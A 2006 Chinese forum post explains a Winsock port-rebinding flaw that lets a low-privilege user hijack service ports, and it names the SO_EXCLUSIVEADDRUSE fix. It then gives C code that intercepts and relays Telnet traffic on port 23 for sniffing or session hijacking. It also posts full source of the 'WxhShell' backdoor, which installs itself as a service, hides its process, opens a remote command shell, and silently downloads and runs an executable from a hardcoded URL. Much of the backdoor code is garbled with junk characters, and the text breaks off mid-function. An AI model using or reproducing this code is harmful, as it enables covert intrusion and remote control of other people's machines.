[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; BUXlHh%<R
if(chr[0]==0xd || chr[0]==0xa) { C`\yc_b9Pf
pwd=0; -IL' (vx
break; {%z5^o1)
} 7/bF04~%
i++; la{o<||Aq
} lht :%Ts$
Gk)6ljL
// 如果是非法用户，关闭 socket g?>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C{YTHNn
} :(i=> ~O
XZxzw*Y1J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wbi12{C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7qg. :h
6g"qwWZp
while(1) { <4*)J9V^s=
)NlxW5
ZeroMemory(cmd,KEY_BUFF); Cp#}x1{
PBAQ KQ
// 自动支持客户端 telnet标准 'L2[^iF9
j=0; Jy0(g T
while(j<KEY_BUFF) { ?IR+OCAA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LHq*E`
cmd[j]=chr[0]; <^adt *m
if(chr[0]==0xa || chr[0]==0xd) { f4^\iZ{`G
cmd[j]=0; {QT:1U\.
break; sl*&.F,v=
} OmaG|2u
j++; 1pTQMf a
} J!iKW
bRx}ih
// 下载文件 }SGb`l
if(strstr(cmd,"http://")) { CMYkxU
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HG)h,&nc-
if(DownloadFile(cmd,wsh)) 8b $e)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Pd2%
else l6T5]$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?8$h%Ov-
} .7n`]S/
else { P,7beHjf
$WbfRyXi7'
switch(cmd[0]) { %Pk@`t(3
}M${ _D
// 帮助 l8d }g
case '?': { dhi9=Co;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <X]dR 6FT
break; gm}zF%B"
} 6"V86b0)h}
// 安装 z_87;y;=
case 'i': { Uy$?B"Z
if(Install()) 0lpUn74F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Lvta4}7(
else D__*?frWpW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {y|j**NZ
break; )IGx3+I ,
} ^%/d]Zwb
// 卸载 b+THn'2
case 'r': { 8-q4'@(
if(Uninstall()) 3Oe\l[?$;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @BqSu|'Du,
else A@n//AZM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9w$+Qc
break; M;E$ ]Z9
} 8z*/J=n
// 显示 wxhshell 所在路径 g y1i%
case 'p': { \_|r>vQ
char svExeFile[MAX_PATH]; &(A'uX.>pr
strcpy(svExeFile,"\n\r"); EV N:3
strcat(svExeFile,ExeFile); 5}`e"X
send(wsh,svExeFile,strlen(svExeFile),0); Bk~%
break; jNP%BNd1f
} tnC,1HV0[
// 重启 {_X&{dZLX
case 'b': { D<xDj#Z~1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $~:|Vj5iZ\
if(Boot(REBOOT)) d7v_>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Gy+y`
else { 8#15*'Y
closesocket(wsh); _E xd:
ExitThread(0); CI@qT}Y_
} ?.,2EC=+
break; w(nQ:;oC
} L_}F.nbS5
// 关机 7)y +QU]
case 'd': { .0]Odf:@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1)ZdkTF@H
if(Boot(SHUTDOWN)) jLreN#:9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PA>su)N$
else { 1'9YY")#
closesocket(wsh); mf)E%qo
ExitThread(0); ?a` $Y>?h
} Iqb|.vLG
break; iPt{v5}]
} t`vIcCXqyl
// 获取shell \m1jV>q
case 's': { ??=7pFm
CmdShell(wsh); oOHr~<
closesocket(wsh); IsP!ZcV;
ExitThread(0); Vc|uQ8Mi
break; |&H(skF_
} z|i2M8
// 退出 XB\n4|4
case 'x': { .l~g`._
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *]* D^'
CloseIt(wsh); +AL(K:
break; +U,>D+
} 2f.4P]s`T
// 离开 o'p[G]NQ1o
case 'q': { &!O~ f
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^0T[V-PgiD
closesocket(wsh); \UBQ:+3
WSACleanup(); '@eH)wh@m)
exit(1); Y(P<9m:
break; T'e p&tNY
} KVCj06}j
} gD/% l[
} GYNLyd)
?$AWY\
// 提示信息 ~[4zm$R^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g=x1}nm
} [;hCwj#
} SDICN0X*
hS+R/7
return; {Aq:Kh`&
} dE|luN~
,5thD
// shell模块句柄 -XARew
int CmdShell(SOCKET sock) + +G%~)S:
{ /a:L"7z
STARTUPINFO si; (Y$48@x
ZeroMemory(&si,sizeof(si)); Shb"Jc_i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qn|~z@"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nV&v@g4Tt
PROCESS_INFORMATION ProcessInfo; 9U~sRj=D
char cmdline[]="cmd"; $|r p5D6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !x1ivP
return 0; s+XDtO
} hZNAI
APT/z0X>
// 自身启动模式 2x dN0S
int StartFromService(void) f/RDo4
{ 'K|tgsvgme
typedef struct iZDZ/hohv
{ V-TWC@Y"
DWORD ExitStatus; c9)5G+
DWORD PebBaseAddress; lM-*{<B
DWORD AffinityMask; 2@#`x"0
DWORD BasePriority; _=RK
ULONG UniqueProcessId; .>{I S4
ULONG InheritedFromUniqueProcessId; Bwg\_:vq
} PROCESS_BASIC_INFORMATION; Gmp`3
S K7b]J>
PROCNTQSIP NtQueryInformationProcess; w00Ba^W
*q |3QHZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k?'<f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; caC(KK#<
O\KSPy7YQ
HANDLE hProcess; ~7Jj\@68
PROCESS_BASIC_INFORMATION pbi; #Ez+1
cWNWgdk,`V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qv>rww]
if(NULL == hInst ) return 0; IYk^eG:;
K5SP8<.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?^H1X-;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jdp@3mP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o:"^@3
k=):>}
if (!NtQueryInformationProcess) return 0; ?sm@lDZ\
S2*ER
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p7kH"j{xD
if(!hProcess) return 0; yCOIv!/zy
s;4r)9Uvx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VPqMbr"L[
zS+_6s
CloseHandle(hProcess); !wZ9P
W:z!fh-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #8[iqvE
if(hProcess==NULL) return 0; J,=: ]t
bD;c>5t
HMODULE hMod; 8QNd t
char procName[255]; 9 ?~Y
unsigned long cbNeeded; iu(+ N~
#J<IHNRt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {-?8r>
&\/b(|>
CloseHandle(hProcess); 8x9$6HO
{IpIQ-@l
if(strstr(procName,"services")) return 1; // 以服务启动 s.7s:Q`
lYMNx|PF
return 0; // 注册表启动 }./_fFN@
} ?Ok@1
2?bE2^6
// 主模块 d$(>=gzBQ
int StartWxhshell(LPSTR lpCmdLine) {!9i8T
{ wu2C!gyBo
SOCKET wsl; `Ufv,_n
BOOL val=TRUE; Vdz(\-}ao
int port=0; GxR, 3
struct sockaddr_in door; qTl/bFD
U\\nSU
if(wscfg.ws_autoins) Install(); ,@'M'S
xFY< ns
port=atoi(lpCmdLine); ~1yMw.04V
tuiQk=[c
if(port<=0) port=wscfg.ws_port; !(wH}ti
11Hf)]M
WSADATA data; tSvklI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U.B=%S
t|Ipxk.)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p!~{<s]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "=BO,see9
door.sin_family = AF_INET; Y4B<]C4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); J|BZ{T}d
door.sin_port = htons(port); VF<C#I
6(X5n5C
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 66+y@l1
closesocket(wsl); t9Nu4yl
return 1; *(4TasQu
} 4JD 8w3u/
GqrOj++>
if(listen(wsl,2) == INVALID_SOCKET) { A|esVUo<3^
closesocket(wsl); 9IRvbE~2
return 1; _\tGmME37
} GK/Q]}Q8pZ
Wxhshell(wsl); 9C{\=?e;
WSACleanup(); 3koXM_4_{)
3oCw(Ff
return 0; <XHS@|
"n3i(sZ
} ;5.o;|w?!
6!3Jr
// 以NT服务方式启动 aumXidbS
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o,sw[
{ T"GuE[?a
DWORD status = 0; /@H2m\vBX
DWORD specificError = 0xfffffff; joN}N}U
$.z~bmH"D
serviceStatus.dwServiceType = SERVICE_WIN32; +HK)A%QI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yeCR{{B/'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <9s=K\-
serviceStatus.dwWin32ExitCode = 0; f2#9E+IQ
serviceStatus.dwServiceSpecificExitCode = 0; R "&(Ae?LR
serviceStatus.dwCheckPoint = 0; ($oO, c'z
serviceStatus.dwWaitHint = 0; 4P>tGO&*x
Uq,M\V\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N&0MA
if (hServiceStatusHandle==0) return; <}E^r_NvD
IFX|"3[$
status = GetLastError(); ] _/d
if (status!=NO_ERROR) YW}1iT/H
{ Iy}r'#N
serviceStatus.dwCurrentState = SERVICE_STOPPED; $DfaW3bJ
serviceStatus.dwCheckPoint = 0; 1x07ua@(v
serviceStatus.dwWaitHint = 0; .=>T yq
serviceStatus.dwWin32ExitCode = status; P'Fy,fNg
serviceStatus.dwServiceSpecificExitCode = specificError; hao0_9q+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x Qh?
return; sX&M+'h
} S%ri/}qI[{
h]94\XQ>$
serviceStatus.dwCurrentState = SERVICE_RUNNING; rI:KZ}GZ
serviceStatus.dwCheckPoint = 0; k"P2J}4eO
serviceStatus.dwWaitHint = 0; O8+[)+6^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4JHQ^i-aY
} Or9@X=C
i;0`d0^
// 处理NT服务事件，比如：启动、停止 ,<lxq<1I
VOID WINAPI NTServiceHandler(DWORD fdwControl) OU(z};Is6Z
{ ?CS jn
switch(fdwControl) kCR)k=*
{ FGOa!G
case SERVICE_CONTROL_STOP: RZfC?
serviceStatus.dwWin32ExitCode = 0; _^RN C)ol
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~^.&nph
serviceStatus.dwCheckPoint = 0; 6,xoxNoPP3
serviceStatus.dwWaitHint = 0; g)'tr '
{ K.2M=Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %f;(
} f*~ 4Kv
return; LoG@(g&)
case SERVICE_CONTROL_PAUSE: Yi[dS`,d
serviceStatus.dwCurrentState = SERVICE_PAUSED; t.pg;#
break; Uc0AsUu}?
case SERVICE_CONTROL_CONTINUE: Yf:utCvv
serviceStatus.dwCurrentState = SERVICE_RUNNING; Kfj*uzKB
break; <LW|m7
case SERVICE_CONTROL_INTERROGATE: $Yz &x%Lb
break; HHZ!mYr
}; kXC.rgal
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xh]\q)
} b,a\`%m}
^+[o+
// 标准应用程序主函数 2vnzB8"k
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Qh8I+Q%
{ dITnPb)i
G 7)D+],{Y
// 获取操作系统版本 v%<_Mh
OsIsNt=GetOsVer(); (W/jkm
GetModuleFileName(NULL,ExeFile,MAX_PATH); #|XEBOmsQ
0iXqAa
// 从命令行安装 ke>\.|HT}
if(strpbrk(lpCmdLine,"iI")) Install(); 1TQ$(bI
Kc udWW]
// 下载执行文件 8{+~3@T
if(wscfg.ws_downexe) { zs"AYxr
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pOI+
WinExec(wscfg.ws_filenam,SW_HIDE); `Ik}Xw
